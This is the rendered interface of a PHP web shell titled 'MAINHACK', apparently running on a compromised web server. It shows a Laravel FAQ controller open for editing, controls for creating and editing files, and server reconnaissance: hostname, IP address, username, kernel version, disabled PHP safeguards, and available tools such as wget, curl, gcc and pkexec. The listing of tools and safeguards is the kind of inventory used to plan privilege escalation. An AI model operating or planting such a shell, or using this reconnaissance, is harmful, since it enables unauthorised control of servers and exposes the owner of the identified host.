[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FaqController.php
<?php namespace Modules\LandingPage\Http\Controllers; use Illuminate\Contracts\Support\Renderable; use Illuminate\Http\Request; use Illuminate\Routing\Controller; use Modules\LandingPage\Entities\LandingPageSetting; class FaqController extends Controller { /** * Display a listing of the resource. * @return Renderable */ public function index() { $settings = LandingPageSetting::settings(); $faqs = json_decode($settings['faqs'], true) ?? []; return view('landingpage::landingpage.faq.index', compact('settings', 'faqs')); } /** * Show the form for creating a new resource. * @return Renderable */ public function create() { return view('landingpage::create'); } /** * Store a newly created resource in storage. * @param Request $request * @return Renderable */ public function store(Request $request) { if ($request->faq_status) { $faq_status = 'on'; } else { $faq_status = 'off'; } $data['faq_status'] = $faq_status; $data['faq_title'] = $request->faq_title; $data['faq_heading'] = $request->faq_heading; $data['faq_description'] = $request->faq_description; foreach ($data as $key => $value) { LandingPageSetting::updateOrCreate(['name' => $key], ['value' => $value]); } return redirect()->back()->with(['success' => 'Setting update successfully']); } /** * Show the specified resource. * @param int $id * @return Renderable */ public function show($id) { return view('landingpage::show'); } /** * Show the form for editing the specified resource. * @param int $id * @return Renderable */ public function edit($id) { return view('landingpage::edit'); } /** * Update the specified resource in storage. * @param Request $request * @param int $id * @return Renderable */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * @param int $id * @return Renderable */ public function destroy($id) { // } public function faq_create() { $settings = LandingPageSetting::settings(); return view('landingpage::landingpage.faq.create'); } public function faq_store(Request $request) { $validator = \Validator::make( $request->all(), [ 'faq_questions' => 'required', 'faq_answer' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $settings = LandingPageSetting::settings(); $data = json_decode($settings['faqs'], true); $datas['faq_questions'] = $request->faq_questions; $datas['faq_answer'] = $request->faq_answer; $data[] = $datas; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'faqs'], ['value' => $data]); return redirect()->back()->with(['success' => 'Faq add successfully']); } public function faq_edit($key) { $settings = LandingPageSetting::settings(); $faqs = json_decode($settings['faqs'], true); $faq = $faqs[$key]; return view('landingpage::landingpage.faq.edit', compact('faq', 'key')); } public function faq_update(Request $request, $key) { $validator = \Validator::make( $request->all(), [ 'faq_questions' => 'required', 'faq_answer' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $settings = LandingPageSetting::settings(); $data = json_decode($settings['faqs'], true); $data[$key]['faq_questions'] = $request->faq_questions; $data[$key]['faq_answer'] = $request->faq_answer; $data = json_encode($data); LandingPageSetting::updateOrCreate(['name' => 'faqs'], ['value' => $data]); return redirect()->back()->with(['success' => 'Faq update successfully']); } // public function faq_delete($key){ // $settings = LandingPageSetting::settings(); // return redirect()->back()->with(['success'=> 'Discover delete successfully']); // } public function faq_delete($key) { $settings = LandingPageSetting::settings(); $pages = json_decode($settings['faqs'], true); unset($pages[$key]); LandingPageSetting::updateOrCreate(['name' => 'faqs'], ['value' => $pages]); return redirect()->back()->with(['success' => 'Faq delete successfully']); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002